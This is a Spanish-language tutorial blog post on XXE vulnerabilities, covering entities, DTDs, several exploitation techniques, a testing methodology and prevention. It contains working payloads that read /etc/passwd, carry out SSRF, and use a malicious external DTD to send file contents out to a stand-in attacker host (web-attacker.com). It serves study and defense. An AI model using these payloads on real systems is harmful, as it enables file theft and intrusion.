Entrada

XXE guide

Guía sobre la vulnerabilidad XXE

XXE guide

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Explicación técnica de la vulnerabilidad XXE. Detallamos cómo identificar y explotar esta vulnerabilidad, tanto manualmente como con herramientas automatizadas. Además, exploramos estrategias clave para prevenirla


¿Qué es un XML External Entity (XXE)?

Un XXE es una vulnerabilidad de seguridad web que permite a un atacante interferir con el procesamiento de datos XML de una aplicación. A menudo permite al atacante leer archivos del servidor en el que se aloja la aplicación e interactuar con cualquier sistema back-end o externo al que la propia aplicación tenga acceso

En algunas situaciones, un atacante puede escalar un ataque XXE para comprometer el servidor subyacente u otra infraestructura back-end, aprovechando la vulnerabilidad XXE para realizar ataques SSRF (Server-Side Request Forgery)

¿Qué es extensible markup language (XML)?

XML significa extensible markup language y es un lenguaje diseñado para almacenar y transportar datos. Al igual que HTML, XML utiliza una estructura en forma de árbol de etiquetas y datos. A diferencia de HTML, XML no usa etiquetas predefinidas, por lo que las etiquetas pueden recibir nombres que describan los datos

¿Qué son las entidades XML?

Las entidades XML son una forma de representar un dato dentro de un documento XML, en lugar de usar directamente el dato. Varias entidades están incluidas en la especificación del lenguaje XML. Por ejemplo, las entidades &lt; y &gt; representan a los caracteres < y >. Estos son metacaracteres usados para denotar etiquetas XML, y por lo general deben representarse usando sus entidades cuando aparecen dentro de los datos

¿Qué es document type definition (DTD)?

La DTD contiene declaraciones que pueden definir la estructura de un documento XML, los tipos de valores de datos que puede contener y otros elementos. La DTD se declara dentro del elemento DOCTYPE al inicio del documento XML

La DTD puede estar completamente autocontenida dentro del propio documento (conocida como DTD interna), puede cargarse desde otro lugar (conocida como DTD externa) o puede ser una hibridación de ambas formas

¿Qué son las custom entities en XML?

XML permite que se definan entidades personalizadas dentro de la DTD. Por ejemplo:

1
<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>

Esta definición significa que cualquier uso de la referencia a la entidad &myentity; dentro un documento XML será reemplazado por el valor my entity value

¿Qué son las external entities en XML?

Las entidades externas XML son un tipo de entidad personalizada cuya definición se encuentra fuera de la DTD donde son declaradas.

La declaración de una entidad externa utiliza la palabra clave SYSTEM y debe especificar una URL desde la cual se cargará el valor de la entidad. Por ejemplo:

1
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>

La URL puede usar el protocolo file:// y de esta forma las entidades externas pueden cargarse desde un archivo. Por ejemplo:

1
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

¿Cómo surgen las vulnerabilidades XXE?

Algunas aplicaciones usan el formato XML para transmitir datos entre el navegador y el servidor. Las aplicaciones que hacen esto casi siempre utilizan una librería estándar o una API de la plataforma para procesar los datos XML en el servidor. Las vulnerabilidades XXE surgen porque la especificación XML contiene varias funcionalidades potencialmente peligrosas, y los parsers estándar soportan estas funcionalidades incluso si la aplicación no las utiliza normalmente

Los XXE son un tipo de entidad personalizada XML cuyos valores definidos se cargan desde fuera de la DTD en la que se declaran. Las entidades externas son especialmente interesantes desde la perspectiva de seguridad porque permiten que una entidad se defina en base al contenido de una ruta de archivo o una URL

Tipos de ataques XXE

Existen varios tipos de ataques XXE:

  • Explotar un XXE para leer archivos - Se define una entidad externa que contiene el contenido de un archivo y este se devuelve en la respuesta de la aplicación

  • Explotar un XXE para llevar a cabo ataques SSRF - Una entidad externa se define en base a una URL de un sistema back-end

  • Explotar un blind XXE exfiltrando datos con interacciones OBB (out-of-band) - Se transmiten datos sensibles desde el servidor de la aplicación hacia un sistema controlado por el atacante

  • Explotar un blind XXE para obtener datos mediante mensajes de error - El atacante provoca un mensaje de error el cual contiene datos sensibles

Explotar un XXE para leer archivos

Para realizar un ataque de inyección XXE que lea un archivo arbitrario del sistema de archivos del servidor, debemos modificar el XML enviado de dos formas:

  • Introducir un elemento DOCTYPE que defina una entidad externa que contenga la ruta al archivo

  • Editar un valor de dato en el XML que se devuelva en la respuesta de la aplicación, para hacer uso de la entidad externa definida

1
2
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>

La aplicación no implementa defensas contra ataques XXE, por lo que podemos explotar la vulnerabilidad XXE para leer el archivo /etc/passwd enviando el siguiente payload:

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

Este payload XXE define una entidad externa &xxe; cuyo valor es el contenido del archivo /etc/passwd y usa la entidad dentro del valor productId. Esto provoca que la respuesta de la aplicación incluya el contenido del archivo

1
2
3
4
Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

En entornos reales a menudo habrá un gran número de valores de datos dentro del XML enviado y cualquiera de ellos podría usarse para ver la respuesta de la aplicación. Por lo tanto, deberemos testear cada nodo de datos en el XML de manera individual, utilizando una entidad definida y verificando si se refleja en la respuesta respuesta del servidor

En este laboratorio podemos ver como aplicar esta técnica:

Explotar un XXE para llevar a cabo ataques SSRF

Aparte de la leer datos sensibles, otro impacto principal de los ataques XXE es que pueden usarse para realizar un SSRF

Para explotar una vulnerabilidad XXE y realizar un ataque SSRF, debemos definir una entidad XML externa usando la URL que queremos atacar y usar la entidad definida como valor de un elemento XML

Si podemos usar la entidad definida dentro de un valor que se refleje en la respuesta, podremos obtener una interacción bidireccional con el sistema back-end y si no es posible lo anterior, solo podremos realizar un blind SSRF

En el siguiente ejemplo XXE, la entidad externa hará que el servidor realice una solicitud HTTP back-end a un sistema interno dentro de la infraestructura de la organización:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
	<stockCheck>
		<productId>
			&xxe;
		</productId>
		<storeId>
			1
		</storeId>
	</stockCheck>

En este laboratorio podemos ver como aplicar esta técnica:

Blind XXE

Los blind XXE surgen cuando la aplicación es vulnerable a inyección XXE pero no devuelve los valores de ninguna entidad externa definida en sus respuestas. Esto significa que la lectura de archivos del lado del servidor no es posible, y por lo tanto, los blind XXE más difíciles de explotar que las vulnerabilidades XXE regulares

Existen dos formas generales en las que podemos encontrar y explotar vulnerabilidades blind XXE:

  • Llevar a cabo interacciones OBB (out-of-band) y exfiltrar datos sensibles mediante Burpsuite Collaborator

  • Provocar errores de análisis XML para que se devuelvan datos sensibles en los mensajes de error

Detectar un blind XXE realizando interacciones OBB (out-of-band)

A menudo podemos detectar un blind XXE usando la misma técnica que para los ataques XXE SSRF, pero realizando la interacción OOB hacia un servidor que controlamos. Por ejemplo, podemos definir una entidad externa de la siguiente manera:

1
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>

Posteriormente, usaremos la entidad definida en un valor de un elemento XML

Este ataque XXE provoca que el servidor realice una petición HTTP de back-end a la URL especificada. El atacante puede monitorizar la consulta DNS resultante y la petición HTTP, y de esta manera detectar si el ataque XXE fue exitoso

En este laboratorio podemos ver como aplicar esta técnica:

A veces, los ataques XXE que usan entidades regulares son bloqueados, debido a alguna validación del input realizada por la aplicación o a algún filtrado del parser XML que se esté utilizando. En esta situación, podemos usar entidades de parámetro en su lugar

Las entidades de parámetro son un tipo especial de entidad XML que solo puede ser referenciada dentro del DTD. Para nuestro caso, solo debemos saber que a declaración de una entidad de parámetro incluye el carácter % antes del nombre de la entidad

1
<!ENTITY % myparameterentity "my parameter entity value" >

Y que las entidades de parámetro se referencian usando el carácter % en lugar del ampersand (&) habitual

1
%myparameterentity;

Esto significa que podemos probar blind XXE usando detección OOB a través de entidades de parámetro XML, de la siguiente manera:

1
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

Este payload XXE declara una entidad de parámetro XML llamada xxe y luego usa la entidad dentro del DTD. Esto provocará una consulta DNS y una petición HTTP al dominio del atacante, verificando que el ataque fue exitoso

En este laboratorio podemos ver como aplicar esta técnica:

Explotar un blind XXE exfiltrando datos con interacciones OBB (out-of-band)

Detectar un blind XXE mediante técnicas OBB (out-of-band) está muy bien, pero en realidad no demuestra cómo la vulnerabilidad podría ser explotada. Lo que un atacante realmente quiere lograr es exfiltrar datos sensibles. Esto puede lograrse explotando un blind XXE, pero implica que el atacante aloje un DTD malicioso en un sistema que controla y luego invoque el DTD externo desde dentro del payload

Un ejemplo de un DTD malicioso para exfiltrar el contenido del archivo /etc/passwd es el siguiente:

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

Este DTD realiza los siguientes pasos:

  1. Define una entidad de parámetro XML llamada file, que contiene el contenido del archivo /etc/passwd

  2. Define una entidad de parámetro llamada eval, que contiene una declaración dinámica de otra entidad de parámetro llamada exfiltrate. La entidad exfiltrate será evaluada mediante una petición HTTP al servidor web del atacante, incluyendo el valor de la entidad file dentro de la cadena de consulta URL

  3. Usa la entidad eval, lo que provoca que la declaración dinámica de la entidad exfiltrate se ejecute

  4. Usa la entidad exfiltrate, de modo que su valor se evalúe realizando la petición HTTP a la URL especificada

El atacante debe alojar el DTD malicioso en un sistema que controle, normalmente cargándolo en su propio servidor web. Por ejemplo:

1
http://web-attacker.com/malicious.dtd

Finalmente, el atacante debe enviar el siguiente payload XXE a la aplicación vulnerable:

1
2
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>

Este payload XXE declara una entidad de parámetro llamada xxe y luego usa la entidad dentro del DTD. Esto hará que el parser XML recupere el DTD externo desde el servidor del atacante y lo interprete. Los pasos definidos dentro del DTD malicioso se ejecutan y el archivo /etc/passwd es transmitido al servidor del atacante

Esta técnica podría no funcionar con algunos contenidos del archivo, incluyendo los saltos de línea (\n) que contiene el archivo /etc/passwd. Esto se debe a que algunos parsers XML obtienen la URL de la definición de la entidad externa usando una API que valida los caracteres permitidos en la URL

En esta situación, podría ser posible usar el protocolo FTP en lugar de HTTP. A veces, no será posible exfiltrar datos que contengan satlos de línea (\n), por lo que se puede apuntar a un archivo más simple, como el /etc/hostname

En este laboratorio podemos ver como aplicar esta técnica:

Explotar un blind XXE para obtener datos mediante mensajes de error

Un enfoque alternativo para explotar blind XXE es provocar un error de análisis XML donde el mensaje de error contenga los datos sensibles que deseamos recuperar. Esto será efectivo si la aplicación devuelve el mensaje de error dentro de su respuesta

Podemos provocar un mensaje de error de análisis XML que contenga el contenido del /etc/passwd usando un DTD externo malicioso de la siguiente manera:

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Este DTD realiza los siguientes pasos:

  1. Define una entidad de parámetro llamada file, que contiene el contenido del archivo /etc/passwd

  2. Define una entidad de parámetro llamada eval, que contiene una declaración dinámica de otra entidad de parámetro llamada error. La entidad error será evaluada intentando cargar un archivo inexistente cuyo nombre contiene el valor de la entidad file

  3. Usa la entidad eval, lo que provoca que la declaración dinámica de la entidad error se ejecute

  4. Usa la entidad error, de modo que su valor se evalúe al intentar cargar el archivo inexistente, resultando en un mensaje de error que contiene el nombre del archivo inexistente, que es el contenido del /etc/passwd

Invocar el DTD externo malicioso resultará en un mensaje de error como el siguiente:

1
2
3
4
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

En este laboratorio podemos ver como aplicar esta técnica:

Encontrar una superficie de ataque oculta para explotar un XXE

La superficie de ataque para vulnerabilidades XXE es obvia en muchos casos, porque el tráfico HTTP normal de la aplicación incluye peticiones que contienen datos en formato XML. En otros casos, la superficie de ataque es menos visible. Sin embargo, si buscamos en los lugares correctos, podemos encontrar vulnerabilidades XXE en peticiones que no contienen un XML

Ataques XInclude

Algunas aplicaciones reciben datos enviados por el cliente, los incrustan en el lado del servidor dentro de un documento XML, y luego analizan el documento. Un ejemplo de esto ocurre cuando los datos enviados por el cliente se colocan en una petición SOAP de back-end, que luego es procesada por el servicio SOAP del back-end

En esta situación, no podemos realizar un ataque XXE clásico, porque no controlamos el documento XML completo y por lo tanto no podemos definir o modificar un elemento DOCTYPE, sin embargo, podemos usar XInclude. XInclude permite que un documento XML se construya a partir de sub-documentos. Podemos colocar un ataque XInclude dentro de cualquier valor de un elemento XML

Para realizar un ataque XInclude, debemos referenciar el espacio de nombres XInclude y proporcionar la ruta del archivo que queremos incluir. Por ejemplo:

1
<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo>

En este laboratorio podemos ver como aplicar esta técnica:

Algunas aplicaciones permiten a los usuarios subir archivos que luego son procesados en el lado del servidor. Algunos formatos de archivo comunes usan XML o contienen subcomponentes XML. Ejemplos de formatos basados en XML son los formatos de documentos de oficina como DOCX y los formatos de imagen como SVG

Por ejemplo, una aplicación podría permitir a los usuarios subir imágenes y procesarlas o validarlas en el servidor después de que se suban. Incluso si la aplicación espera recibir un formato como PNG o JPEG, la librería de procesamiento de imágenes que se utiliza podría soportar imágenes SVG. Dado que el formato SVG usa XML, un atacante puede enviar una imagen SVG maliciosa para explotar un blind XXE

En este laboratorio podemos ver como aplicar esta técnica:

Ataques XXE mediante modificaciones del Content-Type

La mayoría de las peticiones POST usan un Content-Type por defecto que es generado por los formularios HTML, como application/x-www-form-urlencoded. Algunos sitios web esperan recibir peticiones en este formato, pero toleran otros tipos de Content-Type, incluyendo XML

Por ejemplo, si una petición normal contiene lo siguiente:

1
2
3
4
5
POST /action HTTP/1.0  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 7  

foo=bar  

Entonces podríamos enviar la siguiente petición y obtener el mismo resultado:

1
2
3
4
5
POST /action HTTP/1.0  
Content-Type: text/xml  
Content-Length: 52  

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>  

Si la aplicación tolera peticiones que contienen XML en el body y analiza ese contenido como XML, entonces podemos simplemente reformatear las peticiones para usar el formato XML y así explotar un XXE

¿Cómo detectar y explotar un XXE?

Es posible detectar XXE de varias formas, en mi caso sigo estos pasos:

  1. Añadir el dominio y sus subdominios al scope

  2. Hacer un escaneo general con Burpsuite. Como tipo de escaneo marcaremos Crawl and audit y como configuración de escaneo usaremos Deep

  3. Escanearemos partes específicas de la petición usando el escáner de Burpsuite. Para escanear los insertion points debemos seleccionar en tipo de escaneo la opción Audit selected items

  4. Con la extensión Active Scan ++ de Burpsuite instalada, ejecutaremos un escaneo activo

  5. Si los datos no se están transmitiendo en formato XML, cambiaremos a este formato usando la extensión Content Type Converter de Burpsuite y repetiremos los escaneos

  6. Si nos encontramos ante una subida de archivos, también podremos explotar un XXE, para ello, nos revisaremos la guía de file upload. Podemos usar herramientas como Oxml_xxe o Docem para la explotación, pero personalmente prefiero hacerlo de forma manual

  7. Si los datos se transmiten en formato XML y existe una subida de archivos, procederemos a intentar buscar un XXE mediante los payloads de PayloadsAllTheThings y si no encontramos nada, procederemos a seguir la metodología de Hacktricks. Podemos usar herramientas como XXEinjector o XXExploiter para la explotación, pero personalmente prefiero hacerlo de forma manual

Cheatsheets para XXE

En PayloadsAllTheThings tenemos una lista de payloads para explotar los XXE y en Hacktricks disponemos de una metodología más compleja y de un mayor número de paylods que nos permitirá realizar una mayor variedad de ataques

Herramientas

Tenemos estas herramientas para automatizar la explotación de CSRF:

Prevenir vulnerabilidades XXE

Prácticamente todas las vulnerabilidades XXE surgen porque la librería de análisis XML de la aplicación soporta funcionalidades XML potencialmente peligrosas que la aplicación no necesita ni pretende usar. Por lo tanto, la forma más fácil y efectiva de prevenir ataques XXE es deshabilitar esas funcionalidades

Generalmente, es suficiente con deshabilitar la resolución de entidades externas y deshabilitar el soporte para XInclude. Esto normalmente puede hacerse mediante opciones de configuración o anulando por programación el comportamiento predeterminado. Se debe consultar la documentación de la librería de análisis XML o la API para obtener detalles sobre cómo deshabilitar capacidades innecesarias

Esta entrada está licenciada bajo CC BY 4.0 por el autor.